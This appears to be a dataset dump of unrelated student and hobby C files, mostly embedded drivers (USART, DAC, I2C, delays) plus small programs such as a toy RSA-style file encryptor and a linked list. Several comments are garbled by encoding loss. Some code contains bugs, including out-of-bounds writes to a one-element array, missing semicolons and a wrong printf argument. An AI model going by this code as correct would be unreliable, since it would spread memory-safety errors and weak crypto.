language
large_stringclasses
1 value
text
stringlengths
9
2.95M
C
#include "usart.h" #include "usart2.h" #include <stdarg.h> #include <stdio.h> /* //´,֧printf,Ҫѡuse MicroLIB #if 1 #pragma import(__use_no_semihosting) //׼Ҫֺ֧ struct __FILE { int handle; }; FILE __stdout; ////_sys_exit()Աʹðģʽ //_sys_exit(int x) //{ // x = x; //} //ضfputc int fputc2(int ch, FILE *f) { while(USART_GetFlagStatus(USART2,USART_FLAG_TC)==RESET); USART_SendData(USART2,(uint8_t)ch); return ch; } #endif */ void USART2_Configuration(void)//ڳʼ { GPIO_InitTypeDef GPIO_InitStructure; USART_InitTypeDef USART_InitStructure; NVIC_InitTypeDef NVIC_InitStructure; RCC_AHBPeriphClockCmd( RCC_AHBPeriph_GPIOA, ENABLE); RCC_APB1PeriphClockCmd(RCC_APB1Periph_USART2, ENABLE ); GPIO_PinAFConfig(GPIOA,GPIO_PinSource2,GPIO_AF_1); GPIO_PinAFConfig(GPIOA,GPIO_PinSource3,GPIO_AF_1); /* * USART2_TX -> PA2 , USART2_RX -> PA3 */ GPIO_InitStructure.GPIO_Pin = GPIO_Pin_2 | GPIO_Pin_3; GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF; GPIO_InitStructure.GPIO_OType = GPIO_OType_PP; GPIO_InitStructure.GPIO_PuPd = GPIO_PuPd_UP; GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz; GPIO_Init(GPIOA, &GPIO_InitStructure); USART_InitStructure.USART_BaudRate = 9600;//ôڲ USART_InitStructure.USART_WordLength = USART_WordLength_8b;//λ USART_InitStructure.USART_StopBits = USART_StopBits_1;//ֹͣλ USART_InitStructure.USART_Parity = USART_Parity_No;//Чλ USART_InitStructure.USART_HardwareFlowControl = USART_HardwareFlowControl_None;// USART_InitStructure.USART_Mode = USART_Mode_Rx | USART_Mode_Tx;//ùģʽ USART_Init(USART2, &USART_InitStructure); //ṹ /* TIM3 clock enable */ RCC_APB1PeriphClockCmd(RCC_APB1Periph_USART2, ENABLE); /* TIM3 жǶ*/ NVIC_InitStructure.NVIC_IRQChannel = USART2_IRQn; NVIC_InitStructure.NVIC_IRQChannelPriority = 0; NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE; NVIC_Init(&NVIC_InitStructure); USART_ITConfig(USART2, USART_IT_RXNE, ENABLE);//ж USART_Cmd(USART2, ENABLE);//ʹܴ1 } void USART2_IRQHandler(void) //1жϷ { unsigned char Res; if(USART_GetITStatus(USART2, USART_IT_RXNE) != RESET) //ж(յݱ0x0d 0x0aβ) { Res =USART_ReceiveData(USART2);//(USART1->DR); //ȡյ if(Res != NULL) { USART_SendData(USART1, Res); } USART2->TDR= Res; } } void UART2_send_byte(uint8_t byte) //1ֽ { while(!((USART2->ISR)&(1<<7))); USART2->TDR=byte; } void UART2_Send(uint8_t *Buffer, uint32_t Length) { while(Length != 0) { while(!((USART2->ISR)&(1<<7)));//ȴ USART2->TDR= *Buffer; Buffer++; Length--; } } uint8_t UART2_Recive(void) { while(!(USART2->ISR & (1<<5)));//ȴյ return(USART2->RDR); // } //ַ void USART2_SendString(unsigned char const *buf) { while(*buf) { USART_SendData(USART2,*buf++); while(USART_GetFlagStatus(USART2,USART_FLAG_TXE)==RESET); USART_ClearFlag(USART2,USART_FLAG_TXE); } }
C
#include <stdint.h> #include "tiva_HAL.h" //// Structs /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Defines a structure type with a uint32_t parameter to be used by the communication packet. typedef struct { //Little-Endian Storage Structure uint16_t command ; // Byte[0-1] ; Size = 2 bytes ; Byte Offset = 0 // Padding ; // Byte[2-3] ; Size = 2 bytes ; Byte Offset = 2 // 2 Bytes added after "command" for the address of "uint32_operand" be a multiple of 4(bytes). uint32_t uint32_operand; // Byte[4-7] ; Size = 4 bytes ; Byte Offset = 4 //uint8_t Chk_Sum_8bits 8; // *One Byte is used for a CheckSum of the last 8 bits(Not yet implemented). } uint32_parameter_packet; // Defines a structure type with a float32 parameter to be used by the communication packet. typedef struct { uint16_t command ; // Byte[0-1] ; Size = 2 bytes ; Byte Offset = 0 // Padding ; // Byte[2-3] ; Size = 2 bytes ; Byte Offset = 2 // 2 Bytes added after "command" for the address of "float_operand" be a multiple of 4(bytes). float float_operand ; // Byte[4-7] ; Size = 4 bytes ; Byte Offset = 4 //uint8_t Chk_Sum_8bits 8; // *One Byte is used for a CheckSum of the last 8 bits(Not yet implemented). } float_parameter_packet; // Defines three perspectives for a packet: 1 - Packet with a uin32 operand; 2 - Packet with a float operand; 3 - uint32 vector. typedef union{ uint32_parameter_packet uint32_param_pkt; float_parameter_packet float_param_pkt; uint8_t bytes[8]; } comunication_packet; //// Constants /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Commands to be interpreted by the command handler // // ASCII Dictionary // // a = 0x61 // b = 0x62 // c = 0x63 // e = 0x65 // f = 0x66 // g = 0x67 // i = 0x69 // k = 0x6b // m = 0x6d // n = 0x6E // o = 0x6f // p = 0x70 // q = 0x71 // r = 0x72 // s = 0x73 // u = 0x75 // v = 0x76 // w = 0x77 #define START_TRANSMISSION 0x6169 // "ai" #define STOP_TRANSMISSION 0x6173 // "as" #define SET_SAMPLE_RATE 0x7372 // "sr" #define SET_NUMBER_CHANNELS 0x7363 // "sc" #define SET_NUMBER_BOARDS 0x7362 // "sb" #define SET_NUMBER_BYTES_IN_PACKET 0x7370 // "sp" #define SET_BITS_PER_SAMPLE 0x7373 // "ss" #define SET_ADC_ACQUISITION 0x6661 // "fa" #define GET_SAMPLE_RATE 0x6772 // "gr" #define GET_NUMBER_CHANNELS 0x6763 // "gc" #define GET_NUMBER_BOARDS 0x6762 // "gb" #define GET_NUMBER_BYTES_IN_PACKET 0x6770 // "gp" #define GET_BITS_PER_SAMPLE 0x6773 // "gs" #define ACK 0x6f6b // "ok" #define NAK 0x6d65 // "me" // Return Types #define INT32_VALUE 0x7675 // "vu" #define FLOAT32_VALUE 0x7666 // "vf" #define STREAMING_PKT 0x6d73 // "ms" #define ERROR_MSG 0x6d65 // "me" #define WARNING_MSG 0X6d77 // "mw" // Function Generator Commands #define SET_FUNC_GEN_FREQUENCY 0x7366 // "sf" #define SET_FUNC_GEN_SQUARE_WAVE 0x6671 // "fq" #define SET_FUNC_GEN_SAWTOOTH_WAVE 0x6677 // "fw" #define SET_FUNC_GEN_SIN_WAVE 0x666E // "fn" #define GET_FUNC_GEN_WAVE_FORM 0x6777 // "gw" #define GET_FUNC_GEN_FREQUENCY 0x6766 // "gf" // Error Messages // Out of Range #define MSG_OOR_FUNC_GEN_FREQUENCY "The Frequency of the Function Generator it's out of the Available Range.\nTry something bigger than 0 and less than SampleRate divided by 2." #define MSG_OOR_SAMPLE_RATE "The Sample Rate by Channel it's above the Maximum Achievable.\nTry a Value less or equal than 1MHZ/ (Total Number of Channels)." #define MSG_OOR_NUMBER_CHANNELS "The Number of Channels is Higher than the Maximum Value." #define MSG_OOR_NUMBER_BOARDS "The Number of Acquisition Boards is Higher than the Maximum Value." #define MSG_OOR_BYTES_IN_PACKET "The Number of Bytes in a Packet is Higher than the Maximum Value." #define MSG_OOR_BITS_PER_SAMPLE "The Number of bits per Sample is Higher than the Maximum Value." // Types of Acquisition #define MSG_UKN_TYPE_OF_ACQUISIION "The Board do not Recognize this Acquisition Mode." // Properties ofcomunication_packet: Offset and Size in Bytes. #define OFFSET_COMMAND 0 #define OFFSET_OPERAND 4 #define SIZE_COMMAND 2 #define SIZE_OPERAND 4 // #define LENGTH_BUFFER_IN 64 #define LENGTH_BUFFER_OUT 64 // functions prototypes void command_handler (comunication_packet *pkt_received, tiva_status *tiva_actual_state ); void send_packet (comunication_packet *pkt_to_send ); void recieve_packet (comunication_packet *pkt_to_be_received ); void stop_trasmission( );
C
#include "delay.h" /****************************************** @breif: usӳ *******************************************/ static uint8_t fac_us=0;//usʱ //void delay_us(uint32_t nus) //{ //// uint32_t delay = (HAL_RCC_GetHCLKFreq() / 4000000 * nus); //HAL_RCC_GetHCLKFreqȡƵֵ //// while (delay--) //// { //// ; //// } //// __IO uint32_t Delay = nus * 72 / 8;//(SystemCoreClock / 8U / 1000000U) // //// do //// { //// __NOP(); //// } //// while (Delay --); // uint32_t temp; // SysTick->LOAD=nus*fac_us; //ʱ // SysTick->VAL=0x00; //ռ // SysTick->CTRL=0x01 ; //ʼ // do // { // temp=SysTick->CTRL; // } // while(temp&0x01&&!(temp&(1<<16)));//ȴʱ䵽 // SysTick->CTRL=0x00; //رռ // SysTick->VAL =0X00; //ռ //} void delay_us(uint32_t nus) { uint32_t i=0; while(nus--) { for(i = 0 ;i<13;i++) { __nop(); } } } /****************************************** @breif: msӳ *******************************************/ void delayms(uint16_t nms) { HAL_Delay(nms); } /****************************************** @breif: sӳ *******************************************/ void delayS(uint16_t ns) { uint16_t ni,nj; for(ni=0; ni<ns; ni++) { for(nj=0; nj<50; nj++) { delayms(20); } } }
C
/* * include/sic/symbol.h * * David Vargas * CSCI 3334-01 Systems Programming * Professor David Egle * University of Texas Rio Grande Valley * */ #ifndef _SYMBOL_H #define _SYMBOL_H struct symbol_t { char *symbol; unsigned int address; struct symbol_t *next; }; struct symbol_t **symbol_table; void symbol_init(); struct symbol_t *symbol_fetch(register const char *str); void symbol_insert(register const char *str, unsigned int address); unsigned long hash_symbol(register const char *str); void symbol_cleanup(); #endif
C
#include "DAC.h" #include <stm32f4xx.h> #include "ADC.h" #include "USART.h" #include "timInterrupt.h" #include "led.h" //declare global variables used externally unsigned short wave_bank[32]; unsigned short sqrwave_bank_dac[2]; unsigned short sqrwave_bank_dac_freq[32]; unsigned short triWave_bank[32]; //---- DAC initialisation: void init_DAC(void) { RCC->AHB1ENR|=RCC_AHB1ENR_GPIOAEN; //DAC port clock enable DAC_port->MODER|=(3u<<(2*DAC_pin)); //DAC output pin set as anaglogue RCC->APB1ENR|=RCC_APB1ENR_DACEN; //DAC clock enable DAC->CR|=DAC_CR_EN2; //DAC 2 enabled } //sends data to dac void output_dac(unsigned short d) { DAC->DHR12R2=d; //write data byte to DAC 2 output register, channel-1 12-bit right aligned data holding register } //-------------------------------------------------------------------------- //sends DC voltage to DAC void DC_DAC(unsigned short adc_reading) { if (ADC_DC == 1) //enter when ADC_DC is set to 1. Set by timer 4 handler { green_led_on(); //turn green led on, for DC mode blue_led_off(); //turn blue led off output_dac(adc_reading); //send ADC data directly to DAC ADC_DC=0; //set ADC_DC to 0, since ADC_DC is turned back to 1 by timer 4 handler, it is synced } } //-------------------------------------------------------------------------- //calculates sinewave and stores in wave_bank, does not sends it to DAC, sent to DAC by timer 4 handler void sinewave_DAC(void) { //declare local variables unsigned short wave; //holds converted sinewave value at run time short inc = 0; //increment variable 0 to 32 unsigned short div_2_adc = 0; //holds adc data after its divided by 2 //holds 32 values of a sinewave calculated manually on excel, formula: sin(x*2pi/32) where x is 1 to 32, scaled up by multiplying with 1000 to avoid floating points signed short sinewave_bank[32]={195, 383, 556, 707, 831, 924, 981, 1000, 981, 924, 831, 707, 556, 383, 195, 0, -195,-383,-556,-707,-831,-924,-981,-1000, -981,-924,-831,-707,-556,-383,-195, 0,}; //run loop 32 times while(inc<=31) { div_2_adc = read_adc()*0.5; //set sinewave point 0 by dividing ADC data into half wave = ((div_2_adc*(sinewave_bank[inc]*0.001))+div_2_adc); //multiply adc value by sinewave bank scaled back down by 1000 and shift wave up to keep the wave positive wave_bank[inc]=wave; //store all 32 converted values in wave_bank inc++; //increment inc by 1 } inc=0; //reset inc back to 0 } //-------------------------------------------------------------------------- //calculates triangular wave and stores in triWave_bank, does not sends it to DAC, sent to DAC by timer 4 handler void triWave_DAC(void) { //declare local variable unsigned short triWave_ADC = 0; unsigned short buffer = 1; triWave_ADC = (read_adc()*0.03125); //divide reading from ADC by 32, gives 17 steps up and 15 steps down //formula = (ADC/32)*inc*2 for(unsigned short inc=1; inc<=16; inc++) //run loop 17 times { triWave_bank[0] = triWave_ADC; //manually set element 0 of triWave = ADC reading / 32 triWave_bank[inc] = triWave_ADC*inc*2; //store the rest of the 16 values as linear increment and multiply by 2 to scale it up } //formula = (ADC/32)*buffer*2 for(unsigned short dec=30; dec>=17; dec--) //run loop 15 times { if(buffer>=15){buffer = 1;} //RESET buffer to 1 if buffer = 15 triWave_bank[31]=triWave_bank[0]; //manually set element 32 of triWave = ADC reading / 32 triWave_bank[dec] = triWave_ADC*buffer*2; //store the rest of the 14 values as linear increment, stored in triWave_bank in a reverse order and multiply by 2 to scale it up buffer++; //increment buffer by 1 } } //-------------------------------------------------------------------------- //calculates square wave at same frequency of sine and tri wave and stores in sqrwave_bank_dac_freq, does not sends it to DAC, sent to DAC by timer 4 handler void sqrWave_DAC_freq(void) { //stores 32 values first half = 0 and the second half = 1 unsigned short squarewave_bank[32]={0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0, 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1}; //run loop 32 times for(unsigned short i=0;i<=31;i++) { //store all 32 converted values in squarewave_bank_dac_freq, formula: ADC value*squarewave_bank, => first half give low and second half high sqrwave_bank_dac_freq[i]=squarewave_bank[i]*read_adc(); } } void delay_us(unsigned int us) //argument is approximate number of micro-seconds to delay { unsigned char i; while(us--) { for(i=0; i<SystemCoreClock/4000000; i++); } } //-------------------------------------------------------------------------- //calculates square wave and stores in sqrwave_bank_dac, does not sends it to DAC, sent to DAC by timer 4 handler //void sqrWave_DAC(void) //{ // unsigned short squarewave_bank[2]={0,1}; // for(unsigned short i=0;i<=1;i++) // { // sqrwave_bank_dac[i]=squarewave_bank[i]*read_adc(); // } //}
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* create.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: tyang <marvin@42.fr> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2018/03/14 21:34:56 by tyang #+# #+# */ /* Updated: 2018/03/23 21:11:44 by tyang ### ########.fr */ /* */ /* ************************************************************************** */ #include "lemin.h" int create_rooms(t_game *game) { int i; char **curr; i = 0; game->rooms = (t_room*)ft_memalloc(sizeof(t_room) * (game->nb_rooms)); while (game->lines[++i]) { curr = ft_strsplit(game->lines[i], ' '); if (get_array_len(curr) == 1) if (!get_flag(curr, game)) return (0); if (get_array_len(curr) == 3 && curr[0][0] != '#') game->rooms[game->nb_made_rooms] = init_room(curr, game); free_2d_array(curr); } init_all_room_links(game); put_links(game); if (!duplicate_rooms(game)) return (error_msg("ERROR---duplicate rooms/links")); return (1); } int get_flag(char **curr, t_game *game) { if (get_array_len(curr) > 1) return (1); if (game->flag == 1 || game->flag == 2) return (error_msg_free_arr(curr, "ERROR---invalid room")); if (curr[0][0] != '#') { if (!count_links(curr, game)) { free_2d_array(curr); return (0); } } if (!ft_strcmp(curr[0], "##start")) game->flag = 1; if (!ft_strcmp(curr[0], "##end")) game->flag = 2; return (1); } int duplicate_rooms(t_game *game) { char *curr_name; int count; int i; int j; i = -1; while (++i < game->nb_rooms) { curr_name = game->rooms[i].name; j = -1; count = 0; while (++j < game->nb_rooms) { if (!ft_strcmp(curr_name, game->rooms[j].name)) count++; if (count > 1) return (0); } } return (1); }
C
/** * @brief Define tipos de datos comunes * * @file types.h * @author Profesores PPROG * @version 1.0 * @date 13-01-2015 * @copyright GNU Public License */ #ifndef TYPES_H #define TYPES_H /** * @brief Definicion del tamaño global de cadenas de textp */ #define WORD_SIZE 1000 /** * @brief Definicion de la constante NO_ID (Id no valido) */ #define NO_ID -1 /** * @brief Definicion de un id generico */ #define GENERIC_ID 1 /** * @brief Definicion de Id */ typedef long Id; /** * @brief Definicion de la enumeración BOOL */ typedef enum { FALSE, TRUE } BOOL; /** * @brief Definicion de la enumeración STATUS */ typedef enum { ERROR, OK, UNDEFINED } STATUS; /** * @brief Direciones en las que puede ir en jugador */ typedef enum { NORTH, SOUTH, EAST, WEST, UP, DOWN, UNKNOWN_DIRECTION } DIRECTION; #endif
C
#pragma once #include "DrorGeneral.h" //----------------------------------------------------------------------------------------------- // Like The Last Neighords // ----------------------------- // // General : The program checks if there are any neighords that have the same value as the last. // // Input : 20 numbers. // // Process : The program checks if there are any neighords that have the same value as the last. // // Output : Prints the ammount of neighords that are the same as the last. // //----------------------------------------------------------------------------------------------- // Programmer : Dror Tal // Student No : 322534793 // Date : 17.10.2019 //----------------------------------------------------------------------------------------------- void main4(void) { // Variable definition unsigned short amount = ZERO; int chars[LENGTH_OF_VECTOR]; //20 unsigned short counter; unsigned short lastOne = LENGTH_OF_VECTOR - ONE; // The last offset unsigned short minusOneLast = lastOne - ONE; // One before the last char holder; printf("Give the chars\n"); // Get 20 chars for (counter = ZERO; counter < LENGTH_OF_VECTOR; counter++) { scanf("%c", &holder); chars[counter] = holder; } // Go untill you get to the one before the last one for (counter = ONE; counter < minusOneLast; counter++) { // Check if the neighors chars are equals to the last and one before chars amount += ((chars[counter - ONE] == chars[minusOneLast]) * (chars[counter] == chars[lastOne])) ? (ONE) : (ZERO); } printf("Amount: %hu", &amount); scanf("%hu", &counter); }
C
#include <stdio.h> #define MAX 6 char recipes[50000000] = {3, 7}; int found( char *n, int pos ){ int len = MAX-1; int pos2 = pos; while( len + 1 ) { if ( n[len] - '0' != recipes[pos2] ) return 0; len--; pos2--; } return 1; } int main() { char n[MAX] = "077201"; // scanf("%s", n); int num_r = 2; int pos1 = 0, pos2 = 1; while(1) { int proxima_recipe = recipes[pos1] + recipes[pos2]; if(proxima_recipe >= 10) recipes[num_r++] = 1; recipes[num_r++] = proxima_recipe % 10; pos1 = (pos1 + recipes[pos1] + 1) % num_r; pos2 = (pos2 + recipes[pos2] + 1) % num_r; if(found(n, num_r-1)) break; if(found(n, num_r-2)){ num_r--; break; } } printf("%d\n\a", num_r - MAX ); return 0; }
C
// mylecture.dataをつくる〜 #include <stdio.h> #include <stdlib.h> int main(void) { FILE *fp1, *fp2; char str[100]; char *period[5] = {"Mo1", "Mo4", "Tu5", "We2", "Fr2"}; int i = 0; if((fp1 = fopen("mylecture.txt", "r")) == NULL) { printf("おうおう、開かれへんかったわ\n"); exit(1); } if((fp2 = fopen("mylecture.data", "w")) == NULL) { printf("おうおう、開かれへんかったわ\n"); exit(1); } do { fgets(str, 100, fp1); if(!feof(fp1)) fprintf(fp2, "%s\t%s", period[i++], str); } while(!feof(fp1)); return 0; }
C
#include <stdio.h> int main() { int m[10][10]={0},i,j,n; printf("\n Enter any number\n"); scanf("%d",&n); for(i=2;i<(n+1);i++) { for(j=1;j<i;j++) { if(j==1||j==i-1) { m[i][j]=1; } else { m[i][j]=((i-j)*m[i-1][j-1])+((j)*m[i-1][j]); } printf("%d\t",m[i][j]); } printf("\n"); } return 0; }
C
//Gean de Mello Dias #include <stdio.h> #include <stdlib.h> #include <string.h> // cálcula a base, expoente e módulo, utilizando bits // a forma tradicional de cálculo utilizando números decimais irá ocasionar // o estouro do limite das variáveis, até do long int calcula_modulo(int base, int expoente, int modulo){ int result = 1; while(expoente > 0){ if(expoente % 2 == 1) result = (result * base) % modulo; expoente = expoente >> 1; base = (base * base) % modulo; } return result; } int Codifica(int nr, char caracter, int produtoMaior){ //recebe as chaves públicas e o caracter para criptografar int codigoAsc = caracter; int x; unsigned long long int resultado = 1; //tem que ser long pq inteiro estoura o for (x = 1; x <= nr; x++){ resultado = resultado * codigoAsc; } int retorno = resultado % produtoMaior; return retorno; } int *retornaChavesPublicas(){ //abertura do arquivo numcripto. int chavePublica1 = 0; int chavePublica2 = 0; char line1[32]; char line2[32]; FILE *f = fopen("numcripto.txt", "r"); if (!f){ printf("Erro abrindo arquivo numcripto.txt"); }else{ fscanf(f, "%5[^\n]\n%5[^\n] ", line1, line2);//se refere ao número de caracteres por linha chavePublica1 = atoi(line1); //converter string para inteiro chavePublica2 = atoi(line2); //converter string para inteiro fclose(f); //fecha o arquivo } static int r[1]; r[0] = chavePublica1; r[1] = chavePublica2; return r; } int *retornaChavesPrivada(){ //abertura do arquivo para descriptografar int chavePrivada1 = 0; int chavePrivada2 = 0; char line1[32]; char line2[32]; FILE *f = fopen("numdescripto.txt", "r"); if(!f){ printf("Erro abrindo arquivo numdescripto.txt"); }else{ fscanf(f, "%5[^\n]\n%5[^\n] ", line1, line2); //se refere ao número de caracteres por linha chavePrivada1 = atoi(line1); //converte o valor da linha para inteiro chavePrivada2 = atoi(line2); //converte o valor da linha para inteiro fclose(f); } static int r[1]; r[0] = chavePrivada1; r[1] = chavePrivada2; return r; } int main(int argc, char *argv[]) { if (argc == 4) { //quantidade de vetores de entrada char *argumento = argv[1]; //capturar o valor dos parâmetros se será c ou d //criptografar if (*argumento == 'c') {//criptografando arquivo passado como parâmetro para arquivo de saída FILE *arquivoparacriptografar = fopen(argv[2], "r"); //ler o arquivo FILE *arquivocriptografado = fopen(argv[3], "w"); //abrir em modo de escrita arquivo //verifica se arquivo existe no diretório em que estão as funções mains if(arquivoparacriptografar == NULL){ printf("Erro abrindo arquivo %s.\n", argv[2]); return -1; } if(arquivocriptografado == NULL) { printf("Erro abrindo arquivo %s.\n", argv[3]); return -1; } int *p = retornaChavesPublicas(); //abertura, leitura e fechamento do arquivo numcripto. int chavePublica1 = *(p + 0); //aponta para primeira posição int chavePublica2 = *(p + 1); //aponta para segunda posição char caracterParaCriptografar; while((caracterParaCriptografar = getc(arquivoparacriptografar)) != EOF){ //função que lê caracter por caracter até o fim do arquivo int caracterCodificado = Codifica(chavePublica1, caracterParaCriptografar, chavePublica2); //recebe as chaves públicas e o caracter para criptografar fprintf(arquivocriptografado, "%d\n", caracterCodificado); // \n -> armazena cada caracter criptografado numa linha } fclose(arquivoparacriptografar); //fecha o arquivo que fez a leitura fclose(arquivocriptografado);//fecha o arquivo que foi feito a leitura } if(*argumento == 'd'){ //descriptografa FILE *arquivoCriptografado = fopen(argv[2], "r"); //abri o arquivo descriptografado FILE *arquivoDecriptografado = fopen(argv[3], "w"); //abri arquivo para escrita //verifica se arquivo existe no diretório em que estão as funções mains if(arquivoCriptografado == NULL){ printf("Erro abrindo arquivo %s.\n", argv[2]); return -1; } if(arquivoDecriptografado == NULL) { printf("Erro abrindo arquivo %s.\n", argv[3]); return -1; } int *p = retornaChavesPrivada(); //abertura do arquivo para descriptografar int nrDecodifica = *(p + 0); //aponta para primeira posição int produtoMaior = *(p + 1); //aponta para segunda posição int i = 0; fscanf(arquivoCriptografado, "%d", &i); //lê o primeiro caracter do arquivo para inicializar while while(!feof(arquivoCriptografado)){ //le até o fim do arquivo criptografado int caracterDecodificado = calcula_modulo(i, nrDecodifica, produtoMaior); fprintf(arquivoDecriptografado, "%c", caracterDecodificado); //caracter decodificado fscanf(arquivoCriptografado, "%d", &i); //permanecer dentro do while lendo linha por linha } fclose(arquivoCriptografado); fclose(arquivoDecriptografado); } }else{ printf("3 parâmetros devem ser passados, c ou d, arquivo de entrada, arquivo de saída."); } return 0; }
C
#include <stdio.h> float product(float a, float b, float c); int main() { float a,x,y,z; printf("Type three numbers, separated by spaces: "); scanf("%f %f %f", &x, &y,&z); a = product(x,y,z); printf("%f * %f * %f = %f\n",x,y,z,a); return 0; } float product(float a, float b, float c) { int p = a*b*c; return(p); }
C
/* ** calloc.c for malloc in /home/bougon_p/rendu/TEK2/PSU_2016_malloc ** ** Made by bougon_p ** Login <bougon_p@epitech.net> ** ** Started on Wed Feb 1 15:55:07 2017 bougon_p ** Last update Wed Feb 1 15:58:04 2017 bougon_p */ #include <strings.h> #include "lib_malloc.h" void *calloc(size_t nmemb, size_t size) { void *ptr; if (!(ptr = malloc(nmemb * size))) return (NULL); bzero(ptr, nmemb * size); return (ptr); }
C
#include<stdio.h> #include<stdlib.h> struct node{ int data; struct node *link; }; int main(){ int count = 0; struct node * head = malloc(sizeof(struct node)); struct node *ptr; head->link = NULL; head->data = 25; struct node * next = malloc(sizeof(struct node)); next->link = NULL; next->data = 45; head->link = next; struct node * next2 = malloc(sizeof(struct node)); next2->link = NULL; next2->data = 55; next->link = next2; struct node * next3 = malloc(sizeof(struct node)); next3->link = NULL; next3->data = 65; next2->link = next3; ptr = head; while(ptr != NULL){ printf("%d \n", ptr->data); ptr = ptr->link; count++; } printf("%d", count); return 0; }
C
#include "Animation16x16.h" #include <gb/gb.h> static void advance_frame(Animation16x16* anim); static void draw_frame(const Animation16x16* anim); void init_Animation16x16( Animation16x16* anim, UINT8 sprite_id, const Animation16x16Info* info ) { anim->info.tile_offset = info->tile_offset; anim->info.frame_count = info->frame_count; anim->info.vblanks_per_frame = info->vblanks_per_frame; anim->sprite_number = sprite_id; anim->frame = 0; anim->vblanks = 0; draw_frame(anim); } void step_Animation16x16(Animation16x16* anim) { ++anim->vblanks; if (anim->vblanks == anim->info.vblanks_per_frame) { advance_frame(anim); draw_frame(anim); anim->vblanks = 0; } } /* * Animation16x16::advance_frame * */ void advance_frame(Animation16x16* anim) { ++anim->frame; if (anim->frame == anim->info.frame_count) { anim->frame = 0; } } /* * Animation16x16::draw_frame * * Update the sprite tiles to show the current frame. */ void draw_frame(const Animation16x16* anim) { UINT8 tile = (4 * anim->frame) + anim->info.tile_offset; set_sprite_tile(anim->sprite_number, tile); set_sprite_tile(anim->sprite_number + 1, tile + 2); }
C
//ջص㽫תΪʮ #include<stdio.h> #include<stdlib.h> #include<math.h> #define STACK_INIT_SIZE 20 #define STACKINCREMENT 10 typedef char ElemType; typedef struct { ElemType *base; ElemType *top; int stackSize; }sqStack; void InitStack(sqStack *s) //ջijʼ { s->base=(ElemType *)malloc(STACK_INIT_SIZE * sizeof(ElemType)); if(!s->base) //ռʧ { exit(0); } s->top=s->base; //ջջͬ s->stackSize=STACK_INIT_SIZE; //ʼ } void Push(sqStack *s,ElemType e) //ѹջIJ { if(s->top - s->base >=s->stackSize) //ֹջ { s->base=(ElemType *)realloc(s->base,(s->stackSize + STACKINCREMENT)*sizeof(ElemType)); if(!s->base) { exit(0); } } *(s->top)=e; s->top++; } void Pop(sqStack *s,ElemType *e) //ջIJ { if( s->top == s->base) //жǷΪջֹ { return; } *e= *--(s->top ); } int StackLen(sqStack s) //ǰջ { return (s.top - s.base); } int main() { ElemType c; sqStack s; int len,i,sum=0; InitStack(&s); printf("#űʾ!\n"); scanf("%c",&c); //ַһһջ while(c!='#') { Push(&s,c); scanf("%c",&c); } getchar(); //سӻȥ len=StackLen(s); printf("ջĵǰǣ%d\n",len); for(i=0;i<len;i++) { Pop(&s,&c); sum=sum + (c-48) * pow(2,i); } printf("תΪʮǣ%d\n",sum); return 0; }
C
#include "MK64F12.h" #include "i2c.h" static uint8_t slave_addr = (0x70<<1); //TODO: Why is he shifting /* SCL Helper Functions */ void scl_setdir(int dir){ if (dir){ PTE->PDDR &= ~(1<<24); //Pin 24 is set as input } else { PTE->PDDR |= (1<<24) //Pin 24 is set as output } } int scl_getdir(void){ return ((PTE->PDDR)>>24) &1; //Returns whether Pin 24 is input or output } void scl_setval(int val){ if (val){ PTE->PSOR |=(1<<24); //Pin 24 is set as logic 1 } else { PTE->PCOR |=(1<<24); //Pin 24 is set as logic 0 } } uint8_t scl_getval(void){ if (scl_getdir() == 0){ return ((PTE->PDIR)>>24) &1; //Return logic level of Pin 24 } else { return ((PTE->PDOR)>>24) &1; //Return logic level of driven on Pin 24 } } /* SDA Helper Functions */ void sda_setdir(int dir){ if (dir){ PTE->PDDR &= ~(1<<25); //Pin 25 is set as input } else { PTE->PDDR |= (1<<25) //Pin 25 is set as output } } int sda_getdir(void){ return ((PTE->PDDR)>>25) &1; //Returns whether Pin 25 is input or output } void sda_setval(int val){ if (val){ PTE->PSOR |=(1<<25); //Pin 25 is set as logic 1 } else { PTE->PCOR |=(1<<25); //Pin 25 is set as logic 0 } } uint8_t sda_getval(void){ if (sda_getdir() == 0){ return ((PTE->PDIR)>>25) &1; //Return logic level of Pin 25 } else { return ((PTE->PDOR)>>25) &1; //Return logic level of driven on Pin 25 } } /* I2C Functions */ void i2c_delay(void){} void i2c_init(void){ SIM->SCGC5 |= (1<<13); //TODO: Why this number? //Set SCL and SDA as input scl_setdir(1); sda_setdir(1); PORTE->PCR[24] = PORT_PCR_MUX(001); //Set up PTE24 as GPIO PORTE->PCR[25] = PORT_PCR_MUX(001); //Set up PTE25 as GPIO } void i2c_start(void){ //Set SCL and SDA as logic level 1 scl_setval(1); sda_setval(1); sda_setval(0); i2c_delay(); i2c_delay(); i2c_delay(); i2c_delay(); i2c_delay(); scl_setval(0); } void i2c_stop(void){ sda_setval(0); scl_setval(1); i2c_delay(); i2c_delay(); i2c_delay(); i2c_delay(); i2c_delay(); sda_setval(1); } int i2c_clock(void){ int level; scl_setval(1); i2c_delay(); while(!scl_getval()){}; i2c_delay(); i2c_delay(); i2c_delay(); level = sda_getval(); i2c_delay(); i2c_delay(); scl_setval(0); return level; } int i2c_write(uint8_t data){ uint8_t mask = 0x80; while (mask){ if (data & mask){ sda_setval(1); } else { sda_setval(0); } i2c_clock(); mask >>= 1; } sda_setval(1); return i2c_clock(); }
C
